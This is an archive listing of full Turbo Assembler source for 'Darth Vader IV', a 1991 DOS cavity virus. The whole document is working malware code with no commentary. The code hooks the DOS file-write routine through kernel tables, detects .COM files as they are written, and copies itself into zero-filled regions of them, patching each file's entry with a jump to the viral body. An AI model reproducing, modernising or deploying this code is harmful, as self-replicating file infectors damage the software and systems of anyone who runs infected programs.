home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARTH4.ASM < prev    next >
Assembly Source File  |  1991-12-18  |  3KB  |  145 lines

  1. ;*******************************************************************************
  2. ;*                                           *
  3. ;*                  D A R T H   V A D E R   IV               *
  4. ;*                                           *
  5. ;*    (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia               *
  6. ;*    All Rights Reserved                               *
  7. ;*                                                                             *
  8. ;*      Enchanced by: Lazy Wizard                                              *
  9. ;*                                                                             *
  10. ;*      Turbo Assembler 2.0                                                    *
  11. ;*                                                                             *
  12. ;*******************************************************************************
  13.  
  14.  
  15.         .model    tiny
  16.         .code
  17.  
  18.         org    100h
  19.  
  20. Start:
  21.         call    NextLine
  22. First3:
  23.         int    20h
  24.         int    3
  25. NextLine:
  26.         pop    bx
  27.         push    ax
  28.         xor    di,di
  29.         mov    es,di
  30.         mov    es,es:[2Bh*4+2]
  31.         mov    cx,1000h
  32.         call    SearchZero
  33.         jc    ReturnControl
  34.         xchg    ax,si
  35.         inc    si
  36. SearchTable:
  37.         dec    si
  38.         db    26h
  39.         lodsw
  40.         cmp    ax,8B2Eh
  41.         jne    SearchTable
  42.         db    26h
  43.         lodsb
  44.         cmp    al,75h
  45.         je    ReturnControl
  46.         cmp    al,9Fh
  47.         jne    SearchTable
  48.         mov    si,es:[si]
  49.         mov    cx,LastByte-Start
  50.         lea    ax,[di+Handle-Start]
  51.         org    $-1
  52.         xchg    ax,es:[si+80h]
  53.         sub    ax,di
  54.         sub    ax,cx
  55.         mov    [bx+OldWrite-Start-2],ax
  56.         mov    word ptr [bx+NewStart+1-Start-3],di
  57.         lea    si,[bx-3]
  58.         rep    movsb
  59. ReturnControl:
  60.         pop    ax
  61.         push    ss
  62.         pop    es
  63.         mov    di,100h
  64.         lea    si,[bx+First3-Start-3]
  65.         push    di
  66.         movsw
  67.         movsb
  68.         ret
  69. SearchZero:
  70.         xor    ax,ax
  71.         inc    di
  72.         push    cx
  73.         push    di
  74.                 mov     cx,[LastByte-Start-1]/2+1
  75.         repe    scasw
  76.         pop    di
  77.         pop    cx
  78.         je    FoundPlace
  79.         loop    SearchZero
  80.         stc
  81. FoundPlace:
  82.         ret
  83. Handle:
  84.         push    bp
  85.         call    NextHandle
  86. NextHandle:
  87.         pop    bp
  88.         push    es
  89.         push    ax
  90.         push    bx
  91.         push    cx
  92.         push    si
  93.         push    di
  94.         test    ch,ch
  95.         je    Do
  96.         mov    ax,1220h
  97.         int    2Fh
  98.         mov    bl,es:[di]
  99.         mov    ax,1216h
  100.         int    2Fh
  101.         cmp    es:[di+29h],'MO'
  102.         jne    Do
  103.         cmp    word ptr es:[di+15h],0
  104.         jne    Do
  105.         push    ds
  106.         pop    es
  107.         mov    di,dx
  108.         mov    ax,[di]
  109.         mov    [bp+First3-NextHandle],ax
  110.         mov    al,[di+2]
  111.         mov    [bp+First3+2-NextHandle],al
  112.         call    SearchZero
  113.         jc    Do
  114.         push    di
  115. NewStart:
  116.         mov    si,0
  117.                 mov     cx,[LastByte-Start-1]/2
  118.         cli
  119.         rep
  120.         db    36h
  121.         movsw
  122.         sti
  123.         mov    di,dx
  124.         mov    al,0E9h
  125.         stosb
  126.         pop    ax
  127.         sub    ax,di
  128.         dec    ax
  129.         dec    ax
  130.         stosw
  131. Do:
  132.         pop    di
  133.         pop    si
  134.         pop    cx
  135.         pop    bx
  136.         pop    ax
  137.         pop    es
  138.         pop    bp
  139. OldWrite:
  140.         jmp    start
  141.  
  142. LastByte        label   byte
  143.  
  144.         end    Start
  145.